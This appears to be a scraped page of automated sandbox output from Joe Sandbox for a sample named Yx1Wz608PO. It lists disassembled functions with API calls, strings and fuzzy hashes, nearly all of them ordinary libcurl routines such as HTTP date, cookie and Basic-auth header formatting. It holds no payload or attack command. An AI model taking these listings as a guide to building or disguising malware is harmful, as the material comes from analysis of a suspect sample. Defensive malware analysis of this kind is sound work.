Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintfcurl_msnprintf
String ID: %s:%s$%sAuthorization: Basic %s$Authorization:$Basic$Proxy-$Proxy-authorization:
API String ID: 974754520-636733214
Opcode ID: 8eea71227be4e9251df1c4f4a0ea67ff3191a6a2d81747e45ae0a76697b6780e
Instruction ID: 5964ff91f71fceed5d9e6bd81cc47804f3b6c5594e0b97048846da2734058f25
Opcode Fuzzy Hash: 8eea71227be4e9251df1c4f4a0ea67ff3191a6a2d81747e45ae0a76697b6780e
Instruction Fuzzy Hash: DE4107B0A04215AFEB14DF68CD45BFBBBE4EF44304F544116E814E6382E3B9ADA4C769

Function 00419117 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 116COMMON

Download Yara Rule

APIs

_mbscpy.MSVCRT(?,--:--:--,?,?,?,?,?,?,?,?,00000000,00000000,?,?,00419924,?), ref: 0041913D
curl_msnprintf.YX1WZ608PO(?,00000009,%2I64d:%02I64d:%02I64d,?,00000000,?,?,?,?,?,0000003C,00000000,?), ref: 004191CB
curl_msnprintf.YX1WZ608PO(?,00000009,%7I64dd,?,?), ref: 00419246

Strings

%2I64d:%02I64d:%02I64d, xrefs: 004191C1
%3I64dd %02I64dh, xrefs: 0041922C
--:--:--, xrefs: 00419135
%7I64dd, xrefs: 0041923C

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf$_mbscpy
String ID: %2I64d:%02I64d:%02I64d$%3I64dd %02I64dh$%7I64dd$--:--:--
API String ID: 1062181381-1858174321
Opcode ID: a28bf702d0477094db66981b53dfd6617951ba1e5427118c7633f2ebc8f08cc2
Instruction ID: 194d86a59e40d17816e0fbbf159abcd7602e8b1992b7fa003e87b63117c9a8e7
Opcode Fuzzy Hash: a28bf702d0477094db66981b53dfd6617951ba1e5427118c7633f2ebc8f08cc2
Instruction Fuzzy Hash: A3312C72E00218BFFB145AA9CD46FEFBF79EB48714F14442AF50076291D2790DD087A9

Function 00410581 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 147COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(?,?,%ld,-00000004), ref: 00410664
curl_msnprintf.YX1WZ608PO(?,?,.%ld), ref: 00410685
sprintf.MSVCRT ref: 004106FC

Strings

-, xrefs: 00410619
%ld, xrefs: 00410658
.%ld, xrefs: 00410679

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf$sprintf
String ID: %ld$-$.%ld
API String ID: 920822643-3983876956
Opcode ID: d93a0b4024219569557a8e3f5ae813fefb0c8c631e3294a9b2d6afe982d7445e
Instruction ID: bb36ee15ad949411983cbe4d6af5dee77735493e3cbefad87c0b52e993881d4a
Opcode Fuzzy Hash: d93a0b4024219569557a8e3f5ae813fefb0c8c631e3294a9b2d6afe982d7445e
Instruction Fuzzy Hash: F151213190025A9FDB31CB18CD847E9BBB1AF49304F1841E6E859AB682D3B8ADD1DF45

Function 0040D9D8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131fileCOMMON

Download Yara Rule

APIs

curl_strequal.YX1WZ608PO(?,0041FAC9,?,?), ref: 0040DA39
fopen.MSVCRT ref: 0040DA5D
fgets.MSVCRT ref: 0040DAE8
fclose.MSVCRT ref: 0040DB0B

Strings

none, xrefs: 0040DA0E, 0040DA1E
Set-Cookie:, xrefs: 0040DA96

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_strequalfclosefgetsfopen
String ID: Set-Cookie:$none
API String ID: 2412416904-3629594122
Opcode ID: c5e31e9a9b16cfe92fdfa2511f2e84f20a9e526284246be9144ab8790ffc495f
Instruction ID: 13772b7554bab7075aee96785321a61696449632a550bd7115e2bab24b4cd16c
Opcode Fuzzy Hash: c5e31e9a9b16cfe92fdfa2511f2e84f20a9e526284246be9144ab8790ffc495f
Instruction Fuzzy Hash: 91410771F043406AFB206BB95C46BB77A6C8B81344F08407BFD05673C3E6B9994D86BA

Function 004123B2 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0041B980: gmtime.MSVCRT(?,?,?,004123CD,?,?), ref: 0041B98A
Part of subcall function 0041B980: memcpy.MSVCRT(?,00000000,00000024,0000002B,?,?,?,?,?,?,?,?,?), ref: 0041B9A2

curl_msnprintf.YX1WZ608PO(?,00003FFF,%s, %02d %s %4d %02d:%02d:%02d GMT,?,?,?,?,?,?,?,?), ref: 0041244B

Part of subcall function 0040E249: curl_mvsnprintf.YX1WZ608PO(00000535,00004000,?,?,?,?,00401728,?,Failed to get recent socket,00000001,00000001,?,?,?,00401758), ref: 0040E26B
Part of subcall function 0040E249: curl_msnprintf.YX1WZ608PO(?,00000100,0041FB9F,00000535), ref: 0040E292

Strings

If-Unmodified-Since: %s, xrefs: 00412471
Invalid TIMEVALUE, xrefs: 004123D8
Last-Modified: %s, xrefs: 0041247A
%s, %02d %s %4d %02d:%02d:%02d GMT, xrefs: 00412440
If-Modified-Since: %s, xrefs: 00412468

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf$curl_mvsnprintfgmtimememcpy
String ID: %s, %02d %s %4d %02d:%02d:%02d GMT$If-Modified-Since: %s$If-Unmodified-Since: %s$Invalid TIMEVALUE$Last-Modified: %s
API String ID: 3344876813-2575227759
Opcode ID: 0df5f044a092bd8eaaac1000eb66ec51735629499bd84f07dcac35b343df951b
Instruction ID: 912b25128b007ec718180bc7245a888c0a7293d736cffd42e60b0802bad739d3
Opcode Fuzzy Hash: 0df5f044a092bd8eaaac1000eb66ec51735629499bd84f07dcac35b343df951b
Instruction Fuzzy Hash: 542160B4A00208AFEB10DA95DD81EEFBBBDEB48300F144026FD08E3351D378AD528B64

Function 0040C9E5 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 65COMMON

Download Yara Rule

APIs

curl_maprintf.YX1WZ608PO(%s%s%s%s%s%s%I64d%s%s,#HttpOnly_,0041FA18,unknown,0041FA19,00000000,0041FA19,?,?,?,?,?), ref: 0040CA90

Strings

TRUE, xrefs: 0040CA0C, 0040CA2F
FALSE, xrefs: 0040CA19, 0040CA3A
#HttpOnly_, xrefs: 0040CA66, 0040CA8A
%s%s%s%s%s%s%I64d%s%s, xrefs: 0040CA8B
unknown, xrefs: 0040CA44, 0040CA88

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintf
String ID: #HttpOnly_$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
API String ID: 3307269620-3622669638
Opcode ID: 2db51fe9246664339889aff49f65903964e19ca2521fe68bca4cce439be79cc7
Instruction ID: 22f0bdaf407e55baa560c0118b4b961d2abb300c89c8930a02a82c12faa249a6
Opcode Fuzzy Hash: 2db51fe9246664339889aff49f65903964e19ca2521fe68bca4cce439be79cc7
Instruction Fuzzy Hash: 6C219271F002499FDB10CB95A584AEB7BB5EF84354F16C17AD9083B351C33C8D8A8BA8

Function 004048CB Relevance: 9.2, APIs: 5, Strings: 1, Instructions: 235stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 004048E7
strchr.MSVCRT ref: 00404909
memcpy.MSVCRT(00000000,?,00000000,?,?), ref: 00404AA4
memcpy.MSVCRT(00000000,00000001,00000000,00000000,?), ref: 00404AEA
memcpy.MSVCRT(00000000,00000001,00000000,?,?), ref: 00404B2E

Strings

|N@, xrefs: 00404B36, 00404A31, 00404B27

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: memcpy$strchr
String ID: |N@
API String ID: 921174694-3129764669
Opcode ID: 706d342176e45495f31a39b13b195e5912577a3859fe76f4df74c5060bd5fa22
Instruction ID: 872ada5ffa333aae8da61cd4d8f88b3683a189b2566d8a996185d62dc88930e0
Opcode Fuzzy Hash: 706d342176e45495f31a39b13b195e5912577a3859fe76f4df74c5060bd5fa22
Instruction Fuzzy Hash: C49171B1E002199BDF119FA8D8487EFBBB4EF84344F148039D914B7395D3389954CBA9

Function 00411D81 Relevance: 9.1, APIs: 6, Instructions: 115stringCOMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 00411DD3
strchr.MSVCRT ref: 00411DE4
strchr.MSVCRT ref: 00411DF7
strchr.MSVCRT ref: 00411E0A
_isctype.MSVCRT ref: 00411E44
memcpy.MSVCRT(00000000,004179BE,00000001,00000000), ref: 00411E6F

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: strchr$_isctype$memcpy
String ID:
API String ID: 3651120906-0
Opcode ID: 1c006d09eaa20cc92044336ab6c3d25725fada38b91a3de75ada90dca304a0dd
Instruction ID: 32e77206a9e3968fc2667267dfced79c10625659ef4672edfed822fce35f6d88
Opcode Fuzzy Hash: 1c006d09eaa20cc92044336ab6c3d25725fada38b91a3de75ada90dca304a0dd
Instruction Fuzzy Hash: B03109B1B043116BE7202B659C81BF737ADDB51309F440466FF51CB2A3E62DAC9186AA

Function 0040CB77 Relevance: 7.7, APIs: 5, Instructions: 217stringCOMMON

Download Yara Rule

APIs

time.MSVCRT(00000000), ref: 0040CB8B

Part of subcall function 0040C97F: time.MSVCRT(00000000,?,00000000,00000000,00000000,?,0040D7B7), ref: 0040C98E

strchr.MSVCRT ref: 0040CC79
strncmp.MSVCRT ref: 0040CCD3
qsort.MSVCRT ref: 0040CDA2

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: time$qsortstrchrstrncmp
String ID:
API String ID: 152747641-0
Opcode ID: 3c2fa974cc9bcc95c4605d381aeca2584ead9b0b0bc8333397a33ec1fb394d0f
Instruction ID: 66024c4a020e9d87193a8a7a46fa5dbb4f066dfbc4a55898d5cb362bf54ff834
Opcode Fuzzy Hash: 3c2fa974cc9bcc95c4605d381aeca2584ead9b0b0bc8333397a33ec1fb394d0f
Instruction Fuzzy Hash: C2718070D00205DBEF24AF69D8C57AF7BB4AF04344F14463AE815B7392E77899058BA9

Function 0041C0A0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 142COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(000085C8,00000005,%c%c==,?,?), ref: 0041C205

Strings

%c%c%c%c, xrefs: 0041C1FB
%c%c==, xrefs: 0041C199
%c%c%c=, xrefs: 0041C1C5

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_msnprintf
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 1809024409-3943651191
Opcode ID: 13a13f04ab58446ef4801250c7ffcfcf765ba300cda51f853c8e767797c59a87
Instruction ID: bd55144f056796266fbf4803f330d533bb90afb77c5047620a3e96879d6eed1f
Opcode Fuzzy Hash: 13a13f04ab58446ef4801250c7ffcfcf765ba300cda51f853c8e767797c59a87
Instruction Fuzzy Hash: 47415675A401546FEB14CBA88D84BFF7BF9AB49314F1441A6E950A7392C6BC8A01CB68

Function 0041A6DE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

Strings

seek callback returned error %d, xrefs: 0041A733
ioctl callback returned error %d, xrefs: 0041A759
necessary data rewind wasn't possible, xrefs: 0041A784

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID:
String ID: ioctl callback returned error %d$necessary data rewind wasn't possible$seek callback returned error %d
API String ID: 0-1333353313
Opcode ID: c3cbb418aec8db8404230cdb40e27e92b99e897a0d40983ba03d735010154864
Instruction ID: ba8b993b13a95adadca6fe64fab8543e88ec6f67cbb66fb34b34a6a2bbddc44a
Opcode Fuzzy Hash: c3cbb418aec8db8404230cdb40e27e92b99e897a0d40983ba03d735010154864
Instruction Fuzzy Hash: 411182B0641301ABFB2199158CC6FF23278DB10715F1801B7FD29DD2D2E278DAE0866B

Function 004111C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(00000000,00000010,%d.%d.%d.%d,?,?,?,?,?), ref: 004111FA

Part of subcall function 0040F786: curl_mvsnprintf.YX1WZ608PO(?,?,?,?), ref: 0040F79C

_mbscpy.MSVCRT(00000002,00000000,0040E822,0040E822), ref: 00411221
SetLastError.KERNEL32(0000273F,?,?,?,?,?,0040E822,00000002,?), ref: 00411233

Strings

%d.%d.%d.%d, xrefs: 004111F2

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLast_mbscpycurl_msnprintfcurl_mvsnprintf
String ID: %d.%d.%d.%d
API String ID: 1095816770-3491811756
Opcode ID: ad9a5497fc236d3c92b79ba7f089dfbe2b005f6a795f0594e03753a890d2b4ea
Instruction ID: 1041f31a76c7e38ffd2843b4e135e4a1075f089d49462ff6e1201dc7b5e5c41e
Opcode Fuzzy Hash: ad9a5497fc236d3c92b79ba7f089dfbe2b005f6a795f0594e03753a890d2b4ea
Instruction Fuzzy Hash: B7014E719040583AD720A6A56C42EFBFB6CDB05354F040293FD58E21C2D1789A5546F6

Function 00401290 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(libgcj_s.dll,?,?,?,?,0040108C), ref: 004012A7
GetProcAddress.KERNEL32(00000000,_Jv_RegisterClasses), ref: 004012C2

Strings

_Jv_RegisterClasses, xrefs: 004012BC
libgcj_s.dll, xrefs: 004012A2

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj_s.dll
API String ID: 1646373207-3176962271
Opcode ID: ce822679b4a28a586ea5bb09d247f6c0de80fdeb2a5e258a8984a2a9b9d5bfd5
Instruction ID: 4672b58b767d5be11e42307acb17c8d9d5532debecb6ae8cf1d4bda975d27e5b
Opcode Fuzzy Hash: ce822679b4a28a586ea5bb09d247f6c0de80fdeb2a5e258a8984a2a9b9d5bfd5
Instruction Fuzzy Hash: B7E08668B4020116E604717BBE03FB73A9C8784758F24407AEC00F22C6F9ACC99901BE

Function 00411CA6 Relevance: 6.1, APIs: 4, Instructions: 97stringCOMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 00411D07
strchr.MSVCRT ref: 00411D18
strchr.MSVCRT ref: 00411D29
strchr.MSVCRT ref: 00411D3A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: strchr$_isctype
String ID:
API String ID: 494214071-0
Opcode ID: 2602f81ab0bcda7d2c535ca8a3a97d0fa4d3538632f0ca5de8470ec15794d517
Instruction ID: c54265fde66ac7b8721d6b2c6498cb542ed7217c6927adac001d24aab3daad7f
Opcode Fuzzy Hash: 2602f81ab0bcda7d2c535ca8a3a97d0fa4d3538632f0ca5de8470ec15794d517
Instruction Fuzzy Hash: 912136B69042106AE7205B35AC42BF7376CEB00364F150556FE22972D2F639FD4081A9

Function 0041D42C Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

wcstombs.MSVCRT ref: 0041D370
realloc.MSVCRT ref: 0041D382
wcstombs.MSVCRT ref: 0041D396
setlocale.MSVCRT ref: 0041D3A0
free.MSVCRT ref: 0041D3A8
wcstombs.MSVCRT ref: 0041D483
wcstombs.MSVCRT ref: 0041D4A2
setlocale.MSVCRT ref: 0041D4B6
free.MSVCRT ref: 0041D4BE

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: wcstombs$freesetlocale$realloc
String ID:
API String ID: 514854729-0
Opcode ID: 8741c54515cf8651b131567d2383ba0aea93c9224c5d7a28d680efab66dbdeb0
Instruction ID: 22b544b795956b9a1c333ac1456880d2ca048be6a73e8c8dd97a407ead6b9558
Opcode Fuzzy Hash: 8741c54515cf8651b131567d2383ba0aea93c9224c5d7a28d680efab66dbdeb0
Instruction Fuzzy Hash: 0A11A5F5E005265AEF30AA588C417FB7368EF41398F440556EA5597381F3782CC283AA

Function 004121AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00412261

Strings

4, xrefs: 004122E1
Empty reply from server, xrefs: 004122D6

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: fclose
String ID: 4$Empty reply from server
API String ID: 3125558077-3238259006
Opcode ID: 32e6081f4e7953a4529de9b1842ffbf531b4dd82462713f383b6cd172699ed4b
Instruction ID: 000c8df15e1d71beead5ea8b05fa06a8188e5237cc24da66944749a96bfca1d4
Opcode Fuzzy Hash: 32e6081f4e7953a4529de9b1842ffbf531b4dd82462713f383b6cd172699ed4b
Instruction Fuzzy Hash: E2418174A007059FD764DF79C98479AFBE0FB09314F04866AE85987701E374B8A4CF99

Function 004128F6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

Basic, xrefs: 00412976
Digest, xrefs: 0041293A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

